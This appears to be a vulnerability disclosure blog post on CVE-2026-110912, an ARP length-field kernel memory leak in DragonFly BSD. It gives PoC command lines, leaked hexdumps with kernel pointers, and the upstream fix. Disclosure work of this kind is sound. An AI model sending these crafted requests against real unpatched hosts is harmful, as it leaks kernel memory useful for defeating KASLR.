CVE-2026-110912 is my first published CVE! The fix is merged upstream and the record is live in the database. It lives in a 23-year-old corner of DragonFly BSD. The ARP input path trusts two one-byte length fields from any packet on the wire. Ask for a 200-byte hardware address and the kernel builds its reply with a 200-byte memcpy out of a 6-byte buffer, and sends the excess back to you. Same trick on the protocol length reads straight off the kernel stack. One crafted ARP request on the same L2 segment leaks up to 249 bytes of heap and 251 bytes of stack, kernel pointers included. No authentication, and nothing in the victim’s logs.

There is one video for this one. It covers the story behind the find and runs the PoC live against a stock DragonFly 6.4.2-RELEASE install.

What ARP asks you to trust

ARP is an old protocol from 1982, published as RFC 826 by David C. Plummer. Its job is mapping protocol addresses to hardware addresses, for our purposes IPv4 to Ethernet MAC, and its packet format carries two one-byte length fields:

8.bit: (ar$hln) byte length of each hardware address
8.bit: (ar$pln) byte length of each protocol address

Because the addresses themselves are variable length, everything after the fixed header is located using those two bytes. Trust them and the packet parses. Doubt them and you have a decision to make.

And here is the thing. The RFC’s own receive algorithm brackets that decision as optional:

?Do I have the hardware type in ar$hrd?
Yes: (almost definitely)
  [optionally check the hardware length ar$hln]
  ?Do I speak the protocol in ar$pro?
  Yes:
    [optionally check the protocol length ar$pln]

There is even a note saying the fields barely need to exist:

In theory, the length fields (ar$hln and ar$pln) are redundant,
since the length of a protocol address should be determined by
the hardware type (found in ar$hrd) and the protocol type (found
in ar$pro).  It is included for optional consistency checking,
and for network monitoring and debugging (see below).

The fields exist so ARP can generalise past 10Mbit Ethernet, where the hardware type and length pair takes the value <1, 6>. Optional consistency checking is a choice each stack makes for itself. FreeBSD made its choice in 2011 with an update to the same code. DragonFly BSD followed the letter of the RFC for 23 years.

The bug

The ARP ingress parser, arpintr() in sys/netinet/if_ether.c, validates ar_hrd and ar_pro. It never validates the two length bytes. The reply builder, in_arpreply(), then uses those attacker-controlled values as memcpy() lengths when it fills in the sender fields of the reply:

memcpy(ar_sha(ah), IF_LLADDR(ifp), ah->ar_hln);

The source is the 6-byte interface MAC sitting inside a heap sockaddr_dl. If ar_hln is 200, the kernel copies 200 bytes, and everything past byte 6 is whatever lives next to that structure in the kernel heap.

memcpy(ar_spa(ah), &taddr, ah->ar_pln);

The source here is a 4-byte in_addr_t on the kernel stack. Ask for 200 and the reply carries 196 bytes of kernel stack past the victim’s address.

The over-read bytes fill the reply mbuf, and the reply is transmitted back to the requester. That is the whole attack. Both length fields max out at 255, so a single crafted request can pull 249 bytes of heap and 251 bytes of stack in one packet.

The attack needs any host on the same L2 segment. The victim needs an IPv4 address on the interface, which is the default configuration. No authentication, and the request leaves no trace on the victim, there is no log line for it.

It is a read-only primitive. No write, no direct code execution, but it is KASLR defeat material. Kernel .text return addresses and kernel virtual address pointers show up in the stack leak. MITRE scored it CVSS 4.0 at 7.1 HIGH:

CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

The best matching CWE was CWE-130, Improper Handling of Length Parameter Inconsistency.

How I found it

The honest answer starts on IRC. I have been hanging out with the DragonFly BSD developers for a few years now, watching how a small team builds a kernel and an operating system. It has been a great way to learn how kernels work.

What kicked this particular hunt off was the news around GLM. GLM 5.2 and especially 5.3 were being described as dangerous, the kind of model that chains vulnerabilities together, with safety guardrails that are easy to bypass. My reaction, as someone who is not much of an Anthropic fan, was: given the news surrounding GLM, lets throw it at the DragonFly BSD kernel and see what pops up.

That audit has been running for months. Not with a thousand agents, the tokens do not stretch that far. File by file through the kernel source, and arpbleed was one of the more interesting things that came up. The Finding-ID in the commit, DF-0494, is my own internal numbering for the DragonFly findings. I triage what turns up and present the serious ones to the team one at a time.

Full disclosure on the tooling. The commit carries Assisted-by: Zhipu GLM-5.2, and the repo credits GLM 5.2 and GLM 5.3 with assisting the finding and verification. I started writing the PoC frame myself and got about halfway, then GLM 5.3 helped finish it, especially the code that renders what comes back. I am not shy about that.

The PoC

arpbleed.py is a single file. It needs python3, scapy and root for the raw socket.

sudo python3 arpbleed.py <victim-ip> [<iface>] [--hln N] [--pln N]

# heap leak  (ar_sha carries ar_hln-6 bytes past the MAC)
sudo python3 arpbleed.py 10.170.0.10 eth0 --hln 200 --pln 4

# stack leak (ar_spa carries ar_pln-4 bytes past &taddr)
sudo python3 arpbleed.py 10.170.0.10 eth0 --hln 6 --pln 200

# sanity: a legal ARP, expect a clean reply and no leak
sudo python3 arpbleed.py 10.170.0.10 eth0 --hln 6 --pln 4

# maximum single-packet leak
sudo python3 arpbleed.py 10.170.0.10 eth0 --hln 255 --pln 255

A few details worth knowing. ar_hrd and ar_pro are set to the valid values, 1 and 0x0800. Nothing else in the request is malformed. Only the two length bytes lie, and that is enough. The request goes out as a normal broadcast, with the victim’s IP in ar_tpa, which is what drives the reply.

The request carries recognisable filler, 0xCC past the attacker MAC and 0xDD past the attacker IP, so the echo in the reply is easy to identify. The sniffer is armed before the frame is sent, because the victim answers in microseconds and a send-then-sniff approach races it. The script even waits for the sniffer socket to actually open. And it refuses to build a frame over the Ethernet MTU.

The output parser knows the ground truth: the first 6 bytes of the reply’s ar_sha are the victim’s real MAC and the first 4 bytes of ar_spa are its IP, so everything past those offsets is out-of-bounds kernel memory. A pointer scanner walks the leak for canonical x86-64 kernel addresses and prints each one it finds. Exit code 0 means a leak was captured, 2 means no reply came back, which is the behaviour of a fixed kernel that dropped the packet.

The leak, verified

The test setup from the repo: victim is a stock DragonFly 6.4.2-RELEASE install under QEMU with virtio-net, at 10.170.0.10. Attacker is a Kali box with scapy 2.7.01 at 10.170.0.2, same L2 segment.

First the sanity run, a legal ARP with honest length bytes:

=== arpbleed - CVE-2026-110912 ARP ar_hln/ar_pln OOB-read PoC ===
[*] iface=eth0  attacker-mac=52:54:00:19:26:9a  victim=10.170.0.10
[*] ar_hln=6 ar_pln=4  arp_body=28  frame=42
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 42 bytes  (reply ar_hln=6 ar_pln=4)
[*] reply ether-src = 52:54:00:df:04:94  (victim interface MAC)

[#####] HEAP LEAK  (ar_sha, 0 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
  0000: 52 54 00 df 04 94                               |RT....|

[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
  0000: 0a aa 00 0a                                     |....|

[*] reply ar_tha echoes attacker MAC + filler: True

[+] legal ARP answered normally - no leak bytes (sanity)
# rc=0

Clean reply, six-byte MAC, four-byte address, no leak. The kernel behaves when the length bytes are honest.

Now the heap leak, --hln 200 --pln 4:

[#####] HEAP LEAK  (ar_sha, 194 OOB bytes past 6-byte IF_LLADDR) [#####]
---- reply ar_sha [memcpy(ar_sha, IF_LLADDR, ar_hln)] (200 bytes; bytes [6..199] are the OOB leak) ----
  0000: 52 54 00 df 04 94 00 00 00 00 00 00 00 00 00 00 |RT..............|
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0020: 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 |................|
  0030: 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 |................|
  0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0060: 00 00 10 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |....*F..........|
  0070: 00 00 48 12 2a 46 00 f8 ff ff 00 00 00 00 00 00 |..H.*F..........|
  0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00c0: 00 00 00 00 00 00 00 00                         |........|
  -- kernel pointers in heap leak: 7 --
    heap + 38 (abs  44): 0xffff000000000000
    heap + 39 (abs  45): 0xffffff0000000000
    heap + 40 (abs  46): 0xffffffff00000000
    heap + 41 (abs  47): 0xffffffffff000000
    heap + 42 (abs  48): 0xffffffffffff0000
    heap + 92 (abs  98): 0xfffff800462a1210
    heap +108 (abs 114): 0xfffff800462a1248

[+] arpbleed REPRODUCED (remote): 194 heap OOB bytes + 0 stack OOB bytes; kernel pointers: 7 heap / 0 stack
# rc=0

194 bytes of adjacent kernel heap, and seven canonical kernel pointers in it. Then the stack leak, --hln 6 --pln 200:

[#####] STACK LEAK (ar_spa, 196 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa [memcpy(ar_spa, &taddr, ar_pln)] (200 bytes; bytes [4..199] are the OOB leak) ----
  0000: 0a aa 00 0a 80 fa 88 66 00 f8 ff ff 42 a9 67 80 |.......f....B.g.|
  0010: ff ff ff ff 80 fa 88 66 00 f8 ff ff 20 00 00 00 |.......f.... ...|
  0020: 00 00 00 00 30 f0 b3 65 00 f8 ff ff 00 f0 b3 65 |....0..e.......e|
  0030: 00 f8 ff ff 00 f0 b3 65 00 f8 ff ff 40 20 17 81 |.......e....@ ..|
  0040: ff ff ff ff b0 fa 88 66 00 f8 ff ff 19 86 74 80 |.......f......t.|
  0050: ff ff ff ff 40 20 17 81 ff ff ff ff 00 c0 8b 81 |....@ ..........|
  0060: ff ff ff ff c0 fa 88 66 00 f8 ff ff d8 f1 b3 65 |.......f.......e|
  0070: 00 f8 ff ff 00 00 00 00 00 00 00 00 40 2d 67 80 |............@-g.|
  0080: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  00c0: 00 00 00 00 00 00 00 00                         |........|
  -- kernel pointers in stack leak: 26 --
    stack +  0 (abs   4): 0xfffff8006688fa80
    stack +  6 (abs  10): 0xffff8067a942ffff
    stack +  7 (abs  11): 0xffffff8067a942ff
    stack +  8 (abs  12): 0xffffffff8067a942
    stack + 16 (abs  20): 0xfffff8006688fa80
    stack + 32 (abs  36): 0xfffff80065b3f030
    stack + 40 (abs  44): 0xfffff80065b3f000
    stack + 48 (abs  52): 0xfffff80065b3f000
    stack + 54 (abs  58): 0xffff81172040ffff
    stack + 55 (abs  59): 0xffffff81172040ff
    stack + 56 (abs  60): 0xffffffff81172040
    stack + 64 (abs  68): 0xfffff8006688fab0
    stack + 70 (abs  74): 0xffff80748619ffff
    stack + 71 (abs  75): 0xffffff80748619ff
    stack + 72 (abs  76): 0xffffffff80748619
    stack + 78 (abs  82): 0xffff81172040ffff

[+] arpbleed REPRODUCED (remote): 0 heap OOB bytes + 196 stack OOB bytes; kernel pointers: 0 heap / 26 stack
# rc=0

26 kernel pointers off the stack in one packet. I also fed the raw hexdump to GLM to see what it could make of the values, and it read them the same way the scanner does: kernel .text return addresses and kernel heap pointers. That is not information you want coming back inside an ARP reply.

And the maximum, both fields at 255:

[*] ar_hln=255 ar_pln=255  arp_body=1028  frame=1042
[*] crafted ARP REQUEST sent; waiting for reply...
[+] captured ARP REPLY: 1042 bytes  (reply ar_hln=255 ar_pln=255)
[*] reply ether-src = 52:54:00:df:04:94  (victim interface MAC)
[#####] HEAP LEAK  (ar_sha, 249 OOB bytes past 6-byte IF_LLADDR) [#####]
[#####] STACK LEAK (ar_spa, 251 OOB bytes past 4-byte &taddr) [#####]
# rc=0

249 heap bytes plus 251 stack bytes in a single frame, which is the most the one-byte fields can express.

Why FreeBSD was already immune

Here is the part I find sort of cool. FreeBSD, the origin of all this code, hardened the exact same paths in January 2011. Commit 09d3f895, George V. Neville-Neil, “Fix several bugs in the ARP code related to improperly formatted packets”, pointed out by Rozhuk Ivan:

*) Reject requests with a protocol length not equal to 4.  This is IPv4
and there is no reason to accept anything else.

*) Reject packets that have a multicast source hardware address.

*) Drop requests where the hardware address length is not equal
to the hardware address length of the interface.

Two follow-ups refined the error paths, an mbuf leak fix in 2013 and broader error checking in 2015. I checked FreeBSD’s current sys/netinet/if_ether.c while writing this, and the length checks are all still there, split across arpintr() and in_arpinput().

DragonFly forked from FreeBSD in 2003, eight years before those checks existed. The bug has been present since DragonFly’s initial import, commit 984263bcb83, and the FreeBSD fixes never crossed the fork. Every DragonFly release, right through 6.4.2, shipped the unguarded memcpy calls.

The fix

Aaron LI reviewed and verified the patch and merged it on 12 September 2026: “if_ether: Reject invalid ARP packets to avoid kernel memory leaking”. The commit message names me as reporter, carries my Finding-ID DF-0494, and says the patch is derived from FreeBSD, with links to the 2011, 2013 and 2015 commits.

Twenty-two added lines. In arpintr():

if (ar->ar_hln != ETHER_ADDR_LEN) {
	log(LOG_ERR, "arp: invalid address length %d\n", ar->ar_hln);
	m_freem(m);
	return;
}

And in in_arpinput():

/*
 * ARP is only for IPv4 so we can reject packets with
 * a protocol length not equal to an IPv4 address.
 */
if (ah->ar_pln != sizeof(struct in_addr)) {
	log(LOG_ERR, "in_arp: requested protocol length %d invalid\n",
	    ah->ar_pln);
	goto drop;
}
if (ETHER_IS_MULTICAST(ar_sha(ah))) {
	log(LOG_ERR, "in_arp: source hardware address is multicast.");
	goto drop;
}

Legal ARP traffic is untouched. A packet with lying length bytes now gets dropped and logged, and there is finally a log line where there used to be silent leakage.

No tagged DragonFly release contains the fix at the time of writing. From talking with the DragonFly BSD developers, the patch is expected to land in the 6.6 stable release when that becomes available. The record went public on 15 October 2026, a little over a month after the merge.

Resources